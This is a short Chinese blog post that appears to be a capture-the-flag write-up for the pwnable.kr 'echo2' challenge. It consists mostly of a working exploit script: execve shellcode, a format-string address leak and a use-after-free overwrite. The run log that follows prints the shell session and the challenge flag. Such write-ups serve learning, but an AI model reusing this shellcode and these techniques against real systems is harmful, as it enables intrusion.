标签：
依旧是基本技巧的考察，shellcode的寻找着实费了一番周折，然后就是FSB和UAF漏洞的利用，很好的一题！
#Exploit for echo2@pwnable.kr
#@Windcarp 2015.07.23
from pwn import *
#init
context(arch = ‘amd64‘, os = ‘linux‘)
local=False
if local:
p = process("./echo2")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.19.so")
else:
p = remote("pwnable.kr", 9011)
binary = ELF("echo2")
raw_input()
#address
leakaddrstr = ‘‘
#payload @Reference: https://www.exploit-db.com/exploits/36858/
payload = ‘a‘*24
shellcode = ""
shellcode += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f"
shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05"
formatstr = "%x.%x.%x.%x.%x.%x.%x.%x.%x.%x"
#input shellcode in 24 bits‘ space
p.recvuntil(‘:‘)
p.send(shellcode + ‘\n‘)
p.recvuntil(‘>‘)
p.send(‘2‘ + ‘\n‘)
#get leak address in FSB -0x20
p.recvuntil(‘\n‘)
p.send(formatstr + ‘\n‘)
leak = p.recvuntil(‘\n‘)
leakaddrstr += ‘0x7fff‘ + leak[-9:-1]
addr = p64(string.atoi(leakaddrstr,16)-0x20)
print ‘[*] leak: ‘ + repr(leak)
print ‘[*] addr: ‘ + repr(addr)
#overwrite the address of greeting function in UAF
p.recvuntil(‘>‘)
p.send(‘4‘ + ‘\n‘)
p.recvuntil(‘)‘)
p.send(‘n‘ + ‘\n‘)
p.recvuntil(‘>‘)
p.send(‘3‘ + ‘\n‘)
p.recvuntil(‘\n‘)
p.send(payload + addr)
p.recvuntil(‘>‘)
#after overwrite trig greeting function
p.send(‘2‘ + ‘\n‘)
#yeah!We got the shell!@Reference: https://www.ricter.me/
p.interactive()
python exploit.py
[+] Opening connection to pwnable.kr on port 9011: Done
[*] ‘/home/windcarp/\xe6\xa1\x8c\xe9\x9d\xa2/pwn/Lesson 4 pwn.kr \xe6\x8f\x90\xe9\xab\x98/echo2/echo2‘
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
[*] leak: ‘2ad5801e.2ab34ac0.c7300b50.78252e78.0.252e7825.2e78252e.78252e78.252e7825.c7300bb0\n‘
[*] addr: ‘\x90\x0b0\xc7\xff\x7f\x00\x00‘
[*] Switching to interactive mode
sh: 1: 2: not found
$ ls
echo2
flag
log
super.pl
$ cat flag
fun_with_UAF_and_FSB :)
【PWN】Pwnable.kr echo2 writeup
标签：
原文地址：http://www.cnblogs.com/windcarp/p/4671104.html
